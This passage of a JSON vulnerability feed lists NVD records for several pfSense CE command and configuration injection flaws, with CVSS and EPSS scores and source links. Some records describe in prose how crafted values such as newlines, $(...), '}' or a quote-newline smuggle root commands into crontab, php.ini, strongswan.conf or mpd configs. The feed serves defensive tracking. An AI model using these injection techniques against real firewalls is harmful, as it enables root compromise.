record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111231&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111231, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111229","cveId":"CVE-2026-111229","aliases":[],"kind":"vulnerability","title":"pfSense CE 2.7.0 through 2.9.0 contains a command injection vulnerability in services_captiveportal_hasync.php that allows users with only the Captive Portal HA privilege to...","summary":"pfSense CE 2.7.0 through 2.9.0 contains a command injection vulnerability in services_captiveportal_hasync.php that allows users with only the Captive Portal HA privilege to execute commands as root. Attackers can set backwardsyncip to a malicious XMLRPC server returning connected_users with shell metacharacters in ip or mac fields, which captiveportal_load_pfctl passes unescaped to a pfctl shell command.","detail":"pfSense CE 2.7.0 through 2.9.0 contains a command injection vulnerability in services_captiveportal_hasync.php that allows users with only the Captive Portal HA privilege to execute commands as root. Attackers can set backwardsyncip to a malicious XMLRPC server returning connected_users with shell metacharacters in ip or mac fields, which captiveportal_load_pfctl passes unescaped to a pfctl shell command.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:35.813Z","updatedAt":"2026-10-16T18:17:36.993Z","regions":["Global"],"vendor":null,"product":null,"stacks":["pfSense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111229","asOf":"2026-10-16T18:17:36.993Z"},"epss":{"probability":0.06367,"percentile":0.93604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111229&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111229","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111229","type":"primary","publishedAt":"2026-10-15T19:17:35.813Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111229&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111229, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111226","cveId":"CVE-2026-111226","aliases":[],"kind":"vulnerability","title":"pfSense CE 2.4.5 through 2.9.0 contains an OS command injection vulnerability that allows authenticated WebGUI users with Advanced Admin Access privilege to execute commands as...","summary":"pfSense CE 2.4.5 through 2.9.0 contains an OS command injection vulnerability that allows authenticated WebGUI users with Advanced Admin Access privilege to execute commands as root via Login Protection settings. Attackers can submit sshguard threshold, block time, or detection time values containing newlines or $(...) that are written unvalidated to sshguard.conf and sourced as root on restart.","detail":"pfSense CE 2.4.5 through 2.9.0 contains an OS command injection vulnerability that allows authenticated WebGUI users with Advanced Admin Access privilege to execute commands as root via Login Protection settings. Attackers can submit sshguard threshold, block time, or detection time values containing newlines or $(...) that are written unvalidated to sshguard.conf and sourced as root on restart.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:35.373Z","updatedAt":"2026-10-26T16:17:13.537Z","regions":["Global"],"vendor":null,"product":null,"stacks":["pfSense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111226","asOf":"2026-10-26T16:17:13.537Z"},"epss":{"probability":0.06548,"percentile":0.9376,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111226&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111226","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111226","type":"primary","publishedAt":"2026-10-15T19:17:35.373Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111226&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111226, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111225","cveId":"CVE-2026-111225","aliases":[],"kind":"vulnerability","title":"Netgate pfSense CE 2.5.0 through 2.9.0 contains an OS command injection vulnerability in openvpn.learn-address.sh that allows authenticated VPN clients to execute commands as the...","summary":"Netgate pfSense CE 2.5.0 through 2.9.0 contains an OS command injection vulnerability in openvpn.learn-address.sh that allows authenticated VPN clients to execute commands as the unbound user. Attackers can embed shell metacharacters in the certificate common name or username, which is interpolated unquoted into su -c strings, when DNS Resolver client registration is enabled.","detail":"Netgate pfSense CE 2.5.0 through 2.9.0 contains an OS command injection vulnerability in openvpn.learn-address.sh that allows authenticated VPN clients to execute commands as the unbound user. Attackers can embed shell metacharacters in the certificate common name or username, which is interpolated unquoted into su -c strings, when DNS Resolver client registration is enabled.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:35.230Z","updatedAt":"2026-10-19T20:43:14.060Z","regions":["Global"],"vendor":"pfsense","product":"pfsense","stacks":["pfSense","pfsense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":2.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111225","asOf":"2026-10-19T20:43:14.060Z"},"epss":{"probability":0.06207,"percentile":0.9347,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111225&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111225","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111225","type":"primary","publishedAt":"2026-10-15T19:17:35.230Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111225&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111225, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111224","cveId":"CVE-2026-111224","aliases":[],"kind":"vulnerability","title":"pfSense CE through 2.9.0 contains an OS command injection vulnerability in the OpenVPN openvpn.connect_async.sh script that allows authenticated VPN users to execute commands as...","summary":"pfSense CE through 2.9.0 contains an OS command injection vulnerability in the OpenVPN openvpn.connect_async.sh script that allows authenticated VPN users to execute commands as root via crafted usernames. Attackers authenticated through RADIUS or LDAP can use usernames containing single quotes and shell metacharacters to break out of the eval'd pfctl anchor name on connect or disconnect.","detail":"pfSense CE through 2.9.0 contains an OS command injection vulnerability in the OpenVPN openvpn.connect_async.sh script that allows authenticated VPN users to execute commands as root via crafted usernames. Attackers authenticated through RADIUS or LDAP can use usernames containing single quotes and shell metacharacters to break out of the eval'd pfctl anchor name on connect or disconnect.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:35.090Z","updatedAt":"2026-10-16T18:17:36.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":["pfSense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111224","asOf":"2026-10-16T18:17:36.877Z"},"epss":{"probability":0.05366,"percentile":0.92594,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111224&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111224","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111224","type":"primary","publishedAt":"2026-10-15T19:17:35.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111224&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111224, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111223","cveId":"CVE-2026-111223","aliases":[],"kind":"vulnerability","title":"Netgate pfSense CE 2.7.0 through 2.9.0 contains a configuration injection vulnerability that allows authenticated users with IPsec Mobile privileges to execute commands as root...","summary":"Netgate pfSense CE 2.7.0 through 2.9.0 contains a configuration injection vulnerability that allows authenticated users with IPsec Mobile privileges to execute commands as root via the login_banner field. Attackers can submit a single-line banner containing '}' to escape the unquoted strongswan.conf attr value and define charon.start-scripts entries that charon executes as root on restart.","detail":"Netgate pfSense CE 2.7.0 through 2.9.0 contains a configuration injection vulnerability that allows authenticated users with IPsec Mobile privileges to execute commands as root via the login_banner field. Attackers can submit a single-line banner containing '}' to escape the unquoted strongswan.conf attr value and define charon.start-scripts entries that charon executes as root on restart.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:34.943Z","updatedAt":"2026-10-19T20:43:24.317Z","regions":["Global"],"vendor":"pfsense","product":"pfsense","stacks":["pfSense","pfsense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111223","asOf":"2026-10-19T20:43:24.317Z"},"epss":{"probability":0.00751,"percentile":0.54721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111223&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111223","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111223","type":"primary","publishedAt":"2026-10-15T19:17:34.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111223&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111223, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111222","cveId":"CVE-2026-111222","aliases":[],"kind":"vulnerability","title":"Netgate pfSense CE through 2.9.0 contains a php.ini injection vulnerability that allows authenticated users with General Setup privileges to inject directives by submitting an...","summary":"Netgate pfSense CE through 2.9.0 contains a php.ini injection vulnerability that allows authenticated users with General Setup privileges to inject directives by submitting an unvalidated timezone value. Attackers can embed a quote and newline to add auto_prepend_file pointing at /var/db/zoneinfo, executing PHP as root after php.ini is regenerated at boot or php-fpm restart.","detail":"Netgate pfSense CE through 2.9.0 contains a php.ini injection vulnerability that allows authenticated users with General Setup privileges to inject directives by submitting an unvalidated timezone value. Attackers can embed a quote and newline to add auto_prepend_file pointing at /var/db/zoneinfo, executing PHP as root after php.ini is regenerated at boot or php-fpm restart.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:34.797Z","updatedAt":"2026-10-21T01:17:20.287Z","regions":["Global"],"vendor":"pfsense","product":"pfsense","stacks":["pfSense","pfsense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111222","asOf":"2026-10-21T01:17:20.287Z"},"epss":{"probability":0.0096,"percentile":0.61295,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111222&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111222","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111222","type":"primary","publishedAt":"2026-10-15T19:17:34.797Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111222&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111222, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111221","cveId":"CVE-2026-111221","aliases":[],"kind":"vulnerability","title":"Netgate pfSense CE through 2.9.0 contains a configuration injection vulnerability that allows authenticated WebGUI users to inject mpd5 commands by submitting an unescaped RADIUS...","summary":"Netgate pfSense CE through 2.9.0 contains a configuration injection vulnerability that allows authenticated WebGUI users to inject mpd5 commands by submitting an unescaped RADIUS shared secret. Attackers with L2TP or PPPoE Server edit privileges can POST a secret containing a quote and newline to vpn_l2tp.php or services_pppoe_edit.php, appending an up-script that executes as root when a session starts.","detail":"Netgate pfSense CE through 2.9.0 contains a configuration injection vulnerability that allows authenticated WebGUI users to inject mpd5 commands by submitting an unescaped RADIUS shared secret. Attackers with L2TP or PPPoE Server edit privileges can POST a secret containing a quote and newline to vpn_l2tp.php or services_pppoe_edit.php, appending an up-script that executes as root when a session starts.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:34.650Z","updatedAt":"2026-10-26T16:17:13.390Z","regions":["Global"],"vendor":"pfsense","product":"pfsense","stacks":["pfSense","pfsense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111221","asOf":"2026-10-26T16:17:13.390Z"},"epss":{"probability":0.00939,"percentile":0.60656,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111221&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111221","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111221","type":"primary","publishedAt":"2026-10-15T19:17:34.650Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111221&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111221, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111220","cveId":"CVE-2026-111220","aliases":[],"kind":"vulnerability","title":"pfSense CE through 2.9.0 contains a crontab injection vulnerability in interfaces_ppps_edit.php that allows authenticated users to execute commands as root by injecting newlines...","summary":"pfSense CE through 2.9.0 contains a crontab injection vulnerability in interfaces_ppps_edit.php that allows authenticated users to execute commands as root by injecting newlines into the ptpid or reset hour/minute fields. Attackers holding the 'WebCfg - Interfaces: PPPs: Edit' privilege can submit crafted POST values that configure_cron() writes unescaped into /etc/crontab, running arbitrary root commands on schedule.","detail":"pfSense CE through 2.9.0 contains a crontab injection vulnerability in interfaces_ppps_edit.php that allows authenticated users to execute commands as root by injecting newlines into the ptpid or reset hour/minute fields. Attackers holding the 'WebCfg - Interfaces: PPPs: Edit' privilege can submit crafted POST values that configure_cron() writes unescaped into /etc/crontab, running arbitrary root commands on schedule.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:34.500Z","updatedAt":"2026-10-15T21:05:32.823Z","regions":["Global"],"vendor":null,"product":null,"stacks":["pfSense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111220","asOf":"2026-10-15T21:05:32.823Z"},"epss":{"probability":0.00726,"percentile":0.53837,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111220&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111220","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111220","type":"primary","publishedAt":"2026-10-15T19:17:34.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111220&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111220, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111219","cveId":"CVE-2026-111219","aliases":[],"kind":"vulnerability","title":"Netgate pfSense CE through 2.9.0 contains a newline injection vulnerability in services_pppoe_edit.php that allows privileged users to inject mpd.secret entries via unvalidated...","summary":"Netgate pfSense CE through 2.9.0 contains a newline injection vulnerability in services_pppoe_edit.php that allows privileged users to inject mpd.secret entries via unvalidated username POST fields. Attackers with the PPPoE Server Edit privilege can add a line whose secret begins with '!', making mpd5 run commands as root when a PPPoE client authenticates.","detail":"Netgate pfSense CE through 2.9.0 contains a newline injection vulnerability in services_pppoe_edit.php that allows privileged users to inject mpd.secret entries via unvalidated username POST fields. Attackers with the PPPoE Server Edit privilege can add a line whose secret begins with '!', making mpd5 run commands as root when a PPPoE client authenticates.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:34.357Z","updatedAt":"2026-10-20T15:37:57.990Z","regions":["Global"],"vendor":"pfsense","product":"pfsense","stacks":["pfSense","pfsense"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111219","asOf":"2026-10-20T15:37:57.990Z"},"epss":{"probability":0.0087,"percentile":0.58555,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111219&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111219","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111219","type":"primary","publishedAt":"2026-10-15T19:17:34.357Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111219&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111219, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111218","cveId":"CVE-2026-111218","aliases":[],"kind":"vulnerability","title":"Netgate 